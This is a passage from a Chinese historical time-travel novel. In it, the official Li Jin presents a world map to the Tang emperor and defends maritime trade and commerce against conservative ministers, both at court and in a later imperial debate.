海洋,是他这幅图卷的灵魂。他用深浅不同的蓝色,描绘了渤海、黄海、东海、南海,以及更广阔的“南洋”(东南亚海域)和“西洋”(印度洋)。他根据季风规律,用虚线箭头标出了从广州、泉州出发,经南海,过马六甲海峡(标注“海峡窄而险,为东西咽喉”),进入印度洋,北上波斯湾、红海,或西向非洲东岸的主要海上商路。对于太平洋深处,他谨慎地留白,但标注了关于“飓风”、“巨鱼”、“无风带”的航行警示。
除了地理轮廓,他还在地图空白处和特定区域,用蝇头小楷标注了关键信息:何处盛产金银铜铁、何处有良港可泊巨舰、何地有奇特香料药材、哪些地方势力对唐友善或敌视、哪些航段海盗猖獗、哪些海域有特殊水文气象需要警惕……他甚至根据记忆,模糊标注了后世一些重要矿产(如波斯湾石油、东南亚锡矿、智利铜矿等)的大致方位,但用词极为隐晦,如“波斯南境有地出黑脂,可引火,然烟浓”、“南洋诸岛多产锡,质佳”。
这幅被他命名为《寰宇总览舆图》的巨制,长逾一丈,宽约五尺,耗费了李瑾几乎所有的业余时间和大量心血。绘图用的颜料是他让工坊特制的,不易褪色;纸张是“新纸”中韧性最佳者多层裱糊而成;绘制工具则是鲁平精心制作的成套规尺、圆规和特制细笔。每当夜深人静,李瑾便在密室中,就着明亮的鲸油灯(工坊用玻璃罩改良过),伏案勾画,往往直至东方既白。
进入七月,图卷的主体终于完成。剩下的,是最后的修饰、核对,以及……思考如何将它呈献上去,并发挥最大效用。直接献图?时机、场合、说辞,都需要精心设计。这幅图包含的信息太过惊人,必须有一个合理的、能够被当下认知所接受的“来源”解释。他不能说是“梦中所得”或“天授”,那太玄虚,容易惹祸。他决定,将这幅图的“创作”,归于对历代典籍、海商见闻、番客记述的综合考据、整理与合理推演,强调其“集前人大成,略加己见,谨供圣览参详”的性质,弱化其“独创”色彩,突出其“工具”与“参考”价值。关键在于,要让皇帝和重臣们相信,这幅图虽有推测成分,但其主体框架是可靠、有价值的,能够极大拓宽朝廷的眼界,为制定内外政策提供前所未有的地理依据。
七月初七,乞巧节。皇帝于宫中设宴,与后妃、亲近大臣及其家眷共度。李瑾因兼崇文馆直学士,亦在受邀之列。宴席过半,丝竹悠扬,气氛融洽。皇帝李治心情颇佳,目光扫过席间,落在安静用餐的李瑾身上,忽然笑道:“李卿,近日在秘书省,可还习惯?校书之余,可有新得?”
机会来了!李瑾心中一动,放下牙箸,起身离席,恭敬行礼:“回陛下,臣蒙陛下恩典,入职秘书省,得览先贤典籍,获益匪浅。近日校书之余,因感念陛下屡屡垂询边事、海疆,遂不自量力,将历代图志、海客番商之言,相互参详,草成一图,名曰《寰宇总览舆图》。本为臣私下习作,疏漏必多,然自觉于陛下明察四方、怀柔远人,或有些许可供参详之处。本不敢献于御前,今见陛下垂询,斗胆恳请陛下,若有闲暇,可否容臣呈图一观,乞赐斧正?”
“哦?《寰宇总览舆图》?” 李治果然被勾起了兴趣,“卿竟有此雅兴?可是囊括我大唐疆域?”
“回陛下,此图……试图包举宇内,东至大海,西极流沙,南尽炎洲,北穷冰陆。将我大唐、四邻藩国,乃至更远之泰西、南洋、黑壤大陆、东溟未知之地,皆略作标识。然海外遐方,记载多阙,谬误必多,实为臣之臆测居多,惶恐之至。” 李瑾语气极为谦卑,但“包举宇内”、“泰西”、“黑壤大陆”、“东溟未知之地”等词,已让李治和在座的重臣们心生好奇。
“臆测无妨,有图便好过凭空想象。” 李治兴致更高,“朕正欲广知天下形势。既如此,明日罢朝后,卿可携此图至两仪殿,朕与诸相公同观之。”
“臣遵旨!”
次日午后,两仪殿。皇帝李治端坐,长孙无忌、褚遂良、于志宁、萧瑀、李勣、户部、工部、礼部尚书,乃至秘书监、少监等重臣俱在。所有人都听闻了昨日宴上之事,对李瑾这幅号称“包举宇内”的图充满好奇,也带着审视。
李瑾在内侍的协助下,与两名小宦官,小心翼翼地将那卷巨大的《寰宇总览舆图》在殿中空地上缓缓展开。当图卷完全铺开,其宏大精细的画面呈现在众人面前时,整个两仪殿陷入了短暂的、近乎凝滞的寂静。
只见巨图之上,山川起伏以青黛勾染,河流蜿蜒以靛蓝描绘,海洋浩瀚以深浅碧色铺陈,疆域国界以朱砂区分,城池港口以墨点标识,文字注解细密如蚁。大唐的疆土居于图卷中央偏东,雄踞一方,黄河、长江如巨龙盘绕。向西,丝绸之路穿过葱岭,连接起一个个标注着名称的西域城邦、国家,一直延伸到波斯、大食那片广袤的区域,更远处,是轮廓虽不够精确但大致可辨的“拂菻”(欧洲)。向南,南海诸岛星罗棋布,天竺半岛轮廓分明,更南方的“黑壤大陆”探出一角。向东,越过东海、日本列岛,是浩瀚无边的“东溟”,其深处有虚线勾勒的未知陆影。图上还清晰标出了吐蕃、高句丽、突厥余部等周边势力的位置,以及从广州、泉州延伸出去的、穿越南洋、直达波斯湾和红海的蜿蜒海上商路……
这不仅仅是一幅地图,更像是一扇被骤然推开的、通向整个世界的宏伟窗口!许多大臣,包括皇帝李治,虽然知道“天下”很大,有西域、有天竺、有波斯,但从未如此直观、如此系统、如此“完整”地看到过“天下”竟是这般模样!大唐,虽然广袤,但在这幅图上,并非世界的全部,而是雄踞东方的一片广袤土地,其西、其南、其东,还有如此浩瀚的海洋与未知的陆地!
“这……这便是天下?” 李治不由自主地从御座上站起,走到图前,弯下腰,目光贪婪地扫过图上的每一个细节,手指悬在空中,似乎想触摸,又怕碰坏了。“这波斯、大食,竟如此广袤?这南海之外,岛屿竟如此之多?这东溟……果真无边无际?还有这黑壤大陆……竟这般形状?”
长孙无忌、褚遂良等重臣也围拢过来,脸上写满了震撼与不可思议。他们熟读经史,知晓张骞、班超,听说过法显、玄奘,但书本上的文字描述,哪里比得上眼前这幅直观形象的图卷带来的冲击力?萧瑀亦是目瞪口呆,他虽不喜李瑾,但也被这幅图的宏大构思与精细绘制所慑,一时竟说不出反驳的话来。
“陛下,诸公。” 李瑾在一旁,手持一根细长的竹鞭,开始按图讲解,“此图乃臣综合《史记》、《汉书》、《后汉书》之《西域传》,裴矩《西域图记》,僧人之行记,及近年来广州、泉州海商、番客之口述见闻,相互比勘,去伪存真,略加联缀推演而成。图中我大唐疆域、四邻藩国,多依现有可靠图籍。至于海外远国,如拂菻(欧洲)之轮廓,参照前朝与拂菻通使之零星记载及波斯商人之说;黑壤大陆(非洲)之形,据昆仑奴来源及大食海商沿其东岸航行之传闻勾勒;东溟(太平洋)之浩瀚,则本于海客‘向东航行数月不见陆地’之言。图中虚线、阴影及‘待考’、‘传闻’字样之处,皆为记载不明、或臣之臆测,不敢确定为实,仅供参详。”
他先坦诚了图的推测成分,降低了众人的心理防线,然后话锋一转,竹鞭点向那些清晰标注的海上商路和重要节点:“然,图中亦有可确证或极具价值之信息。譬如,自广州、泉州,乘季风,过南海,穿此狭窄海峡(马六甲),便可进入西洋(印度洋),北上可通波斯、大食,此路已有海商往来,利益颇巨。据海商言,大食之玻璃、香料、宝石,天竺之棉布、药材,波斯之金银器、骏马,皆可由此路而来。而我大唐之丝绸、瓷器、茶叶、书籍,亦广受彼方欢迎。若能以朝廷之力,规范、扶持、保护此海路贸易,其利岁入,或不下于河西丝路!”
他的竹鞭又点向大唐漫长的海岸线和那些标注的潜在良港:“再者,我大唐东、南皆临大海,海岸绵长,然水师多集中于登莱、岭南防备倭患、镇抚俚僚。若放眼此图……” 他的手在东海、南海广阔的海域上一挥,“则可知海洋之利,不仅在近海渔盐,更在万里通商,在扬威异域,在遇有陆上强敌(如吐蕃、突厥)封锁时,另辟通途,结交远盟,以海制陆!”
接着,竹鞭移向那些标注了特殊物产的地区:“此图亦略标远方物产。如波斯南境有‘黑脂’(石油),可燃,然需提纯;南洋多产锡、香料、稻米;天竺有优质铁矿、棉花;传闻极西之地有巨鸟(鸵鸟)、异兽……了解彼方物产,于我朝互通有无、改良自身技艺,亦有启发。”
最后,他的竹鞭回到大唐疆域,声音沉稳而有力:“陛下,诸公,此图固然粗疏,然其意不在尽述地理细节,而在开眼界、拓心胸、明大势。使吾辈知,大唐虽强,然天下之大,远超想象;四方之利,不可尽弃;海洋之阔,足可纵横。昔日汉武通西域,方有丝路繁华;今我大唐若能陆海并重,既固守根本,又开拓海洋,则东西商路并驰,南北货殖通畅,四方来朝,万国宾服,盛世之基,岂不更加稳固绵长?此图,便是为陛下,为朝廷,提供一副察看天下、谋划未来的‘千里目’。”
李瑾的讲解,结合这幅前所未见的宏大图卷,产生了无与伦比的说服力与震撼力。皇帝李治的目光,久久无法从图上移开,他的胸膛微微起伏,显然心潮澎湃。这幅图,不仅验证了李瑾此前“开拓海洋”战略的宏大背景,更将一种全新的、全球性的视野,强行植入了这位年轻皇帝和在场重臣的脑海中。原来,世界这么大!原来,大唐之外,还有如此广阔的天地和机会!
长孙无忌长叹一声,抚须道:“李少监此图……虽多推测,然格局宏大,思虑深远,确令人耳目一新。老夫今日,方知坐井观天之浅陋。”
褚遂良亦感慨:“观此图,方知‘普天之下,莫非王土’之‘天下’,竟浩渺如斯。陛下,此图于朝廷洞察外情、筹划边海,实有莫大裨益。”
连萧瑀,在巨大的视觉与认知冲击下,也暂时失了锐气,只喃喃道:“海外……竟有如此之多未开化之地……”
于志宁、李勣等人更是目露精光,显然从中看到了军事、外交、经济上的诸多可能性。
皇帝李治终于直起身,目光灼灼地看向李瑾,语气带着难以抑制的激动与赞赏:“李卿,此图……朕心甚慰!此非寻常舆图,实乃国之重器,开眼之窗!卿之苦心,朕知之矣!着即命将作监,以此图为蓝本,精工摹绘数份,一份悬于朕之书房,一份存于秘书省,一份交兵部、一份交户部、一份交市舶司,命诸司官员,常悬座右,用心体察!另,卿绘制此图之功,不可不赏!加卿秘书郎(从六品上),仍兼将作监少监、崇文馆直学士,赐金百两,绢五百匹!”
“臣,谢陛下隆恩!然此图之功,非臣一人,实赖历代先贤记载、今日海客番商之言,及秘书省典籍之便。臣不过稍作整理联缀。陛下不弃臣之愚陋,便是对臣最大之赏赐!” 李瑾再次跪倒,言辞恳切。他知道,升官赏赐固然好,但皇帝和重臣们心中被这幅图打开的“新世界”,才是他真正想要的、无价的奖赏。
献图一事,以李瑾再次获得擢升和重赏而告终,但其影响,却如巨石入水,涟漪远播。《寰宇总览舆图》的存在,如同在平静的湖面投下了一颗认知的核弹,其冲击波从两仪殿迅速向整个统治阶层扩散。许多官员,尤其是年轻、有抱负的官员,闻讯后都想方设法一睹为快,哪怕只是摹本。一种前所未有的、对“海外”、“远洋”、“未知世界”的好奇、向往乃至野心,开始悄然在一部分人心中萌发。而李瑾“开拓海洋”、“陆海并重”的战略构想,也因为这副直观的“世界地图”背书,变得更加具体、可信,甚至令人怦然心动。
李瑾知道,保守派的攻讦不会停止,利益纠葛依然复杂。但“世界”的窗户一旦打开,就再也难以完全关上。他献上的不仅是一幅地图,更是一颗种子,一颗可能改变这个帝国未来走向的、名为“世界观”的种子。它已种下,静待时光与机遇,催其发芽、生长。
第57章 朝堂起波澜
《寰宇总览舆图》在两仪殿掀起的认知巨浪,并未随着李瑾受赏、图卷被郑重收藏而平息,反而如同投入深潭的巨石,其激起的波澜涟漪,在短暂的震撼与沉默之后,开始猛烈地拍打着大唐帝国这艘巨舰固有的、坚固的认知堤岸与权力结构,酝酿出前所未有的激烈动荡与汹涌暗流。
李瑾因献图之功,加秘书郎(从六品上),仍兼将作监少监、崇文馆直学士,并获厚赏。这在许多人看来,已是圣眷优渥,恩宠有加。然而,对于那些视“祖宗成法”、“华夷之辨”、“重道轻器”为不可动摇之圭臬的保守势力而言,这幅“包举宇内”、尤其将“四夷”、“海外”、“化外之地”堂而皇之与中央王朝并列、甚至暗示其与大唐“同等”存在于一个广阔世界的地图,本身就已是一种不可饶恕的“僭越”与“大不敬”。更遑论李瑾借此图再次鼓吹的“开拓海洋”、“陆海并重”、“以工商富国”等“奇谈怪论”,更是直刺他们最敏感的神经。
献图次日的大朝,便成了风暴的起点。萧瑀显然已从昨日的震撼中回过神来,并迅速组织了反击。他并未直接攻击地图本身(毕竟皇帝已定调为“国之重器”、“开眼之窗”),而是从“义理”、“礼法”、“祖宗制度”的高度,对李瑾的整套“经世理念”发起了总攻。
“陛下!” 萧瑀手持玉笏,出列朗声,声音在肃穆的太极殿中回荡,带着一股久居上位者的威严与沉痛,“昨日观《寰宇图》,固觉新奇,然老臣退而思之,忧心如焚,夜不能寐!此图之出,恐非社稷之福,实乃祸乱之始也!”
此言一出,满殿皆惊。众人皆知萧瑀与李瑾不对付,但如此直斥“祸乱之始”,言辞之重,近乎指控了。
“哦?萧卿何出此言?朕观此图,开阔眼界,于国事不无裨益。” 李治眉头微蹙,语气不悦。
“陛下明鉴!” 萧瑀躬身,神色愈发肃穆,“《礼记》有云:‘天无二日,土无二王。’ 我大唐承天受命,居天下之中,抚有四夷,乃天朝上国。四夷蛮貊,虽有土地,不过化外藩属,或慕义来朝,或畏威臣服。此乃纲常所在,华夷大防!然观李瑾此图,将我大唐与诸藩、乃至化外未知之地,并列于一纸之上,疆域或有大小,然位格无别!此非混淆华夷、消弭尊卑、动摇‘中国居中、四夷环伺’之天朝礼法纲常乎?长此以往,使天下臣民、四夷藩国,皆生轻慢天朝、等量齐观之心,纲纪何存?体统何在?”
他偷换概念,将一副力图反映客观地理关系的“世界地图”,硬生生拔高到“挑战华夷秩序”、“消解天朝中心”的政治高度,扣上了一顶“动摇国本”的吓人大帽子。殿中不少保守派大臣闻言,纷纷颔首,露出深以为然的表情。在他们看来,将“蛮夷之地”与大唐画在同一张图上,且不突出大唐的“中心”与“宏大”,本身就是一种“失礼”与“不敬”。
“再者,” 萧瑀不待皇帝反驳,继续道,“李瑾借由此图,屡倡‘开拓海洋’、‘以工商富国’之说,更是舍本逐末,祸·国殃民之论!《尚书》云:‘民惟邦本,本固邦宁。’ 国以农为本,以食为天。圣人重农抑末,乃为固本。今李瑾妄言‘工商亦为本’,蛊惑陛下与朝廷,若天下士民皆弃农从商,逐利忘义,则田地荒芜,仓廪空虚,一旦有警,何以固守?此乃掘国之根基,饲民以鸠毒也!”
“其三,” 萧瑀越说越激动,矛头直指李瑾其人,“李瑾以一介宗室疏属,凭些许奇技淫巧、海外臆说,得幸于陛下,骤然显贵。其人不通经义,不谙礼法,所献之策,非‘商’即‘工’,非‘海’即‘利’,满口铜臭,毫无圣贤治国安邦、教化人心之大道。陛下以清贵之秘书郎、将作监少监授之,已是殊恩。然其不知收敛,反变本加厉,以荒诞舆图、诡谲之论,惑乱圣听,动摇国是。此等幸进之徒,若使其久居中枢,参与机要,恐非朝廷之福,实乃国贼之渐!老臣恳请陛下,明察秋毫,勿为巧言所惑,当黜退李瑾,焚毁谬图,重申重农抑末、华夷大防之国策,以正人心,以靖浮言!”
“国贼”二字,如同惊雷,炸响在殿中!萧瑀这是要将李瑾彻底钉死在耻辱柱上,不仅要否定其理念,更要毁灭其人!殿内气氛瞬间降至冰点。支持李瑾的于志宁、阎立本等人脸色铁青,却又一时难以找到如此高度“****”的论点来反驳。许多中立官员面面相觑,被萧瑀这番引经据典、义正辞严的指控震住了。
李治的脸色也沉了下来。萧瑀的话,虽然偏激,却句句扣在“祖宗成法”、“华夷之辨”、“重农抑商”这些儒家****的核心原则上,占据了道德制高点,让他这个皇帝也难以直接驳斥。他若强行维护李瑾,便有可能被扣上“违背祖训”、“不重礼法”的帽子。
就在此时,又有数名言官、御史出列,附和萧瑀。他们或从“义利之辨”攻击“工商富国”是“导民以利,败坏人心”;或从“边患”角度,指责“开拓海洋”是“靡费国帑,启衅外洋”;或从“吏治”出发,抨击李瑾“结交商贾,有辱官箴”。言辞或激烈,或阴损,形成了一股汹汹的舆论浪潮,直扑向立于朝班之中的李瑾。
李瑾静立着,面色平静,仿佛那一道道犀利如刀的目光和一句句诛心的指控,并非指向自己。他心中冷笑,萧瑀等人的反应,早在他预料之中。这幅图,这些理念,触及的是这个时代最根本的世界观和价值观,遭遇如此猛烈的反弹,实属必然。他们要维护的,不仅仅是具体的经济利益或政治权力,更是那套他们赖以安身立命、解释世界的认知体系。
他没有急于辩解,而是在等,等这股反对的浪潮达到顶峰,也等那些潜在的、可能支持自己或至少持开放态度的人,看清反对者的真正面目与逻辑漏洞。
果然,在萧瑀一派的攻势暂歇,殿内出现短暂寂静时,一个清朗而沉稳的声音响起:“陛下,臣有本奏。”
众人望去,却是新任大理寺评事徐有功。他品阶低微,本无资格在此时发言,但此刻神情坚毅,手持笏板,出列行礼。
“徐评事,你有何言?” 李治目光微动。
“陛下,” 徐有功声音不大,却字字清晰,“萧相及诸位所言‘华夷大防’、‘重农抑末’,自是圣贤教诲,治国常理。然,臣以为,时移世易,法亦因时而变。圣人之言,乃为万世立法,然具体施政,当因时制宜,通权达变。”
他先肯定了对方的理论基础,然后话锋一转:“萧相言李少监之图‘混淆华夷’。然臣观此图,实为地理之图,非朝贡之图。其旨在标明山川地势、海陆方位、邦国所在,使观者知天下之大,形势之要。譬如军中舆图,亦标敌我态势,岂是‘混淆敌我’?知己知彼,百战不殆。了解四夷、海外之真实情形,正为更好的‘华夷大防’,更好的‘怀柔远人’。若固守‘天朝居中’之虚想,对海外情势懵然无知,一旦有事,何以应对?此非固守礼法,实为固步自封!”
徐有功以“地理图”与“朝贡图”的区别,巧妙化解了“混淆华夷”的指控,又以“知己知彼”的兵法常识,论证了了解世界的重要性,逻辑清晰,令人信服。
接着,又有新任司天台丞张遂出列,他是技术官员,语气更直接:“陛下,臣司天文历算,深知寰宇之广,远超想象。日月经天,星辰布野,本无畛域。李少监之图,或有不确,然其欲将所知天地形貌,尽力绘出,此乃格物致知之精神,与圣人‘多识鸟兽草木之名’之意相通。且图中对星象、航海之标注,于我司天台修正历法、推测天象,亦有启发。若因图中有推测未知之处,便斥为‘荒诞’、‘祸乱’,则恐窒塞求实之路,非求真之道。”
张遂从“格物致知”的科学精神角度,为地图的探索性和不完美性辩护,也很有力量。
新任都水监主簿姜师度也道:“陛下,臣观图中对江河入海、沿海港湾之描绘,颇多可参详处。治水需明水性,知地理。此图开阔视野,于臣等筹划水利、疏浚漕运,亦有裨益。至于‘开拓海洋’是否靡费,需具体筹划,然海洋之利,渔盐之饶,舟楫之便,古已有之。若因惧怕‘启衅’而全然放弃,亦非上策。”
这几位出自“墨香茶舍”、因“实学”登科的新晋官员,虽然品阶不高,但以其专业背景和务实态度,发出的声音却别具一格,与萧瑀等人空泛的“义理”指责形成了鲜明对比,也让殿中不少务实派官员暗自点头。
然而,他们的力量尚显薄弱。很快,更多保守派官员加入战团,争论的焦点从地图本身,迅速蔓延到李瑾的所有“试点”政策。“百工创新署”被斥为“鼓励奇技淫巧,使民不安于耕织”;“新式农具推广”被质疑“耗费良铁,与民争利,且易使工匠恃技而骄”;“军械研议”更被扣上“擅改祖制,恐泄机密”的帽子。甚至有人翻出旧账,再次指责李瑾“身为朝官,与商贾合流,工坊聚敛无度”。
朝堂之上,俨然分成了壁垒分明的两派,一方以萧瑀为首,高举“礼法”、“祖制”、“义理”大旗,全面否定李瑾及其理念;另一方则以于志宁、阎立本、徐有功等人为代表,或从实务角度辩护,或强调“因时变通”。双方引经据典,唇枪舌剑,吵得不可开交。太极殿仿佛变成了喧闹的市集,全然没了平日的庄严肃穆。
皇帝李治高踞御座,看着下方乱成一团的朝臣,眉头紧锁,脸色越来越难看。他既对萧瑀等人固步自封、抱残守缺的顽固感到恼火,也对李瑾引发的如此巨大的争议和朝堂分裂感到头痛。他知道李瑾的许多想法有价值,但推行起来阻力之大,远超预期。
“够了!” 李治终于忍耐不住,猛地一拍御案,厉声喝道,“朝堂之上,如此喧哗争执,成何体统!”
殿内瞬间鸦雀无声,众臣纷纷躬身请罪。
李治目光如电,扫过众人,最后落在一直沉默不语的李瑾身上:“李瑾,众卿所议,多是因你而起。你有何话说?”
所有人的目光再次聚焦到李瑾身上。这场因他而起的滔天波澜,终究需要他亲自面对。
李瑾缓缓出列,撩袍跪倒,声音平静无波,却清晰地传入每个人耳中:“陛下,诸公所言,无论是忧心国是之论,还是训诫臣下之词,臣皆悉心聆听,深感惶恐,亦深受教诲。”
他先放低姿态,承认争议的存在,然后抬起头,目光清澈地看向御座:“然,臣有一事不明,恳请陛下与诸公明示。”
“讲。”
“今日朝堂之争,所争者,究竟为何?” 李瑾缓缓问道,不等众人回答,便自问自答,“表面看来,是为臣所献一图,所倡数策。然深究其里,所争者,实为我大唐,当以何等眼光看世界,以何等方略谋未来。”
他顿了一顿,声音略微提高:“是继续坚信‘天朝居中,四夷宾服’,对外部世界懵懂自满,固守‘重农抑末’之旧规,视工商为末业,视海洋为畏途?还是睁开眼睛,承认世界之大,远超所知,承认工商亦可富国,海洋亦有大利,承认唯有了解世界,方能立足世界;唯有顺应时势,方能引领时势?”
“萧相与诸公忧心‘混淆华夷’、‘动摇根本’,臣能理解。然,华夷之辨,在心不在图;国家根本,在民不在利。 一幅力求真实的地图,不会削弱天朝威严,反能彰显朝廷博闻广识。鼓励有益之工商,不会动摇农业根本,反能充盈国库,反哺农桑。了解海洋,未必意味着穷兵黩武,亦可为通商、防灾、睦邻、拓知开辟新途。”
“至于臣之工坊、臣之交游,陛下可随时派员稽查。臣之所为,但求将海外有益之技、之物,引入中土,利国利民。所得之利,除维系工坊、厚待匠人,余者尽献朝廷,账目可查。若此为‘聚敛’、‘幸进’,臣甘受国法!”
他语气诚恳,逻辑清晰,再次将争论拔高到国家发展战略的层面,并坦然接受对自己人品的审查。
“然,” 李瑾话锋一转,目光扫过那些面带讥诮的保守派大臣,“若仅仅因为见解不同,因为触及某些陈规旧习,便不容分说,冠以‘祸·囯’、‘国贼’之名,必欲去之而后快。则敢问,朝廷开制科取‘通晓实务’之才,意义何在?陛下许臣‘试点’诸事,权威何存?长此以往,何人还敢建言?何人还敢任事?朝廷生机,岂不因此等固守门户、以言诛人之风而日渐萎靡?”
这番话,已不仅仅是自辩,更是对保守派“以****打压异见”作风的犀利反击,也暗指了皇帝权威可能受损。
萧瑀闻言,勃然变色,厉声道:“李瑾!你休得巧言诡辩!你所行之事实,所言之事理,皆与圣贤之道、祖宗成法相悖!此非见解不同,乃是大道之争!陛下,此子巧舌如簧,心怀叵测,万不可听信!”
“大道之争?” 李瑾忽然笑了,笑容中带着一丝淡淡的嘲讽,“萧相,您口中的‘大道’,是让百姓富足、国家强盛之道,还是让士人清谈、固守虚文之道?是让大唐雄踞东方、引领天下之道,还是让大唐闭关自守、渐落人后之道?此道为何,非凭口舌,当以实效论之!”
他再次转向皇帝,重重叩首:“陛下,臣之策、臣之图,或有疏漏,然臣一片丹心,愿为陛下,为大唐盛世,探路前行。诸公疑虑,臣愿以事实作答。农具改良是否有效,司农寺可证;‘百工创新’是否有利,将作监可查;海外通商是否有益,市舶司可核。若臣所行无效,所言皆虚,臣甘愿受任何惩处,以谢天下!然,在事实未明之前,便以‘大道’之名,行扼杀之事,臣……死不瞑目!”
李瑾以头触地,声音铿锵,带着一股决绝的意味。他将自己与“实效”捆绑,将对手置于“空谈”之位,并摆出一副愿以事实和性命接受检验的姿态,顿时在气势上扳回一城。
朝堂之上,再次陷入沉默。只有李瑾额头触地的轻微声响。所有人都看向皇帝,等待他的裁决。
李治看着跪伏在地的李瑾,又看看脸色铁青的萧瑀,再看看殿中神色各异的群臣,心中念头飞转。他知道,今日之争,已无法简单调和。李瑾的理念触动了太多根本,而反对的力量也异常强大。强行压服,恐生变乱;就此退缩,则前功尽弃,也会寒了李瑾等实干派的心。
“李瑾,你先起来。” 李治终于开口,声音恢复了平静,却带着不容置疑的威严,“今日之议,朕已知悉。诸卿所虑,朕亦明了。然治国非儿戏,既已行之策,当观其效;未明之事,当容其辩。萧卿与诸公所忧,朕记下了。李瑾,你既言愿以实效自证,朕便给你机会。”
他顿了顿,朗声道:“着令,李瑾所行‘新式农具推广’、‘百工创新’、‘军械研议筹备’、‘水师人才储备’诸事,及市舶司强化海贸之议,皆按既定章程,继续试行。然,需受将作监、司农寺、兵部、户部、御史台共同监察,每季具表详奏成效、开支、利弊。一应事务,需严格依制,不得擅专。若有实效,自有封赏;若生弊端,或靡费无功,严惩不贷!至于《寰宇图》,乃地理之图,存档备查,诸司可参详,然不得妄议华夷,淆乱纲常。另,今岁秋闱之后,朕将于两仪殿,召集群臣,就‘农商之要’、‘华夷之防’、‘海洋之利’等事,再行廷议。届时,诸卿可各抒己见,朕将亲裁。”
这道旨意,看似各打五十大板,实则充满了帝王的平衡术。既没有否定李瑾的“试点”,给了其继续证明的机会,但也套上了“共同监察”、“严格依制”的紧箍咒,并抬出了御史台。同时,也给了反对派“监察”之权和未来“廷议”再次发难的机会。至于《寰宇图》,则被定性为“地理之图”,剥离了政治色彩,暂时搁置了“华夷”争议。
“陛下圣明!” 众臣无论心思如何,此刻只能齐声应和。
李瑾起身,退回班列。他知道,这场风波远未结束,皇帝只是将更激烈的冲突延后了。秋后的廷议,才是真正的决战之地。而在此之前,他必须用实实在在、无可辩驳的“实效”,为自己,也为自己的理念,筑起最坚固的防线。
朝会散去,但每个人心中都清楚,一场关乎大唐未来走向的思想与利益之争,已随着那幅《寰宇总览舆图》的展开,不可避免地进入了更加激烈、更加深刻的阶段。长安城的天空,看似晴朗,却已阴云密布,风雨欲来。
第58章 舌·战老腐儒
盛夏的蝉鸣尚未歇尽,秋日的萧瑟已悄然爬上太极殿飞檐的鸱吻。贞观二十三年的秋闱在紧张与期待中落下帷幕,而朝野上下瞩目的焦点,却不在那些新晋举子的名次,而在皇帝承诺的、将于秋闱后举行的、关乎“农商之要”、“华夷之防”、“海洋之利”的御前廷议。自皇帝下旨定下此议,近三个月来,朝堂上下暗流涌动,各方势力或串联游说,或搜集“罪证”,或精心准备辩词,都憋着一股劲,要在这次决定未来政策风向的御前对决中,一决高下。
九月初九,重阳佳节,天高云淡。然而长安皇城内的气氛,却与这登高赏菊的闲适毫不沾边。两仪殿内外,冠盖云集,气氛凝重。今日廷议,规模远超寻常。不仅三省六部九寺五监的正副长官、诸卫大将军、御史台、翰林院要员悉数到场,连国子监、弘文馆、崇文馆的饱学博士、部分德高望重的致仕老臣亦被特邀列席,济济一堂,足有百余人。显然,皇帝李治希望借这次公开廷议,尽可能广泛地听取意见,也借此将矛盾摆上台面,以求一个相对清晰的裁决。
辰时三刻,钟鸣鼎食,皇帝李治升御座。他今日未着常朝冠服,而是一身便于久坐的常服,神情肃穆,目光扫过殿中黑压压的人群,沉声道:“今日廷议,诸卿当知无不言,言无不尽。所议之事,关乎国计民生,边防长远。然,廷议非市井争讼,需以理服人,以事明理。可引经据典,更需切合时务。诸卿,开始吧。”
短暂的寂静后,萧瑀一系率先发难。一位以经学著称、年过五旬的国子监司业出列,手持玉笏,声调抑扬顿挫,开始了长篇大论。他从三代之治讲起,论述“重本抑末”乃“圣人不易之教”,引《尚书·洪范》“八政,一曰食”,强调农为政首;又引《盐铁论》中贤良文学驳斥桑弘羊“与民争利”之言,痛陈“工商盛则国用奢,国用奢则·民心荡,民心荡则奸邪生”;最后归结到“华夷之防”,认为“内修德政,外夷自服”,若汲汲于“开拓海洋”、“招徕远人”,是“示天下以利”,必将“使四夷生轻中国之心”,且“海路险远,耗费无算,所得奇珍异物,不过玩好,于国无补,反启奢靡”。一番话引经据典,气势十足,引得不少保守派大臣频频颔首。
紧接着,又有数位言官、御史出列,或从“义利之辨”攻击“工商富国”是“导民趋利,败坏淳风”;或从“祖宗成法”指责李瑾诸策“变更旧制,恐生祸乱”;或从“现实隐患”出发,声称“闻岭南市舶,蕃商与民杂处,屡生事端,若再扩大,恐难制驭”。他们口径一致,目标明确,就是要从道德、礼法、历史、现实等各个层面,全面否定李瑾的理念,将其定性为“祸·国”之论。
面对这轮疾风骤雨般的攻击,于志宁、阎立本等人虽出言辩护,强调“因时变通”、“实务所需”,但在对方铺天盖地的经典教条和道德指控面前,显得有些苍白乏力。殿中气氛逐渐向保守派倾斜,许多中立官员面露犹疑。
就在此时,李瑾出列了。他今日未着绯色官袍,而是一身简洁的青色深衣,越发显得沉稳。他没有急于反驳那些具体的指责,而是向御座躬身一礼,然后转向那位率先发难的国子监司业,语气平和地问道:“敢问苏司业,您方才屡引《盐铁论》,以贤良文学之言驳桑弘羊。下官有一事不明,请教司业:桑弘羊行盐铁专卖、均输平准,结果如何?”
苏司业傲然道:“桑弘羊聚敛之臣,虽暂充国用,然与民争利,民怨沸腾,非治国正道。此史有定论。”
“哦?史有定论?” 李瑾微微一笑,“然《史记·平准书》载:‘汉兴七十余年之间,国家无事,非遇水旱之灾,民则人给家足,都鄙廪庾皆满,而府库余货财。京师之钱累巨万,贯朽而不可校。太仓之粟陈陈相因,充溢露积于外,至腐败不可食。’ 此盛世之象,发生于文景之治后,而桑弘羊之政,恰在武帝中期推行,充实军费,北击匈奴,拓土开疆。敢问司业,若无桑弘羊敛财以实边,武帝何来巨资北逐匈奴,解我华夏数百年边患?此等‘聚敛’,是‘祸·国’,还是‘强兵安边’?”
他以子之矛攻子之盾,用《史记》的记载反驳对方对桑弘羊的片面评价,指出其政策在特定历史时期(对抗匈奴)的积极作用,顿时让苏司业语塞。
李瑾不待他反应,转向另一位攻击“开拓海洋”靡费无用的御史:“王御史言海路所得不过‘玩好’。下官斗胆,敢问御史可知,天竺之胡椒、波斯之宝石、大食之琉璃、南洋之香料,在我长安售价几何?广州、泉州两市舶司,去岁抽解(海关税)及博买(官府收购)所得,又价值几何?户部应有档案。下官曾粗略估算,仅广州市舶一岁之利,恐不下二十万贯,可抵关中小郡数州之赋!此等‘玩好’之利,可养多少精兵?可修多少水利?可赈济多少灾民?若因‘玩好’之名,便弃此巨利于不顾,岂非因噎废食?”
他抛出具体数字(虽未核实,但大致不差),将海外贸易的“虚名”与“实利”挂钩,极具冲击力。那王御史涨红了脸,一时无法反驳具体数字。
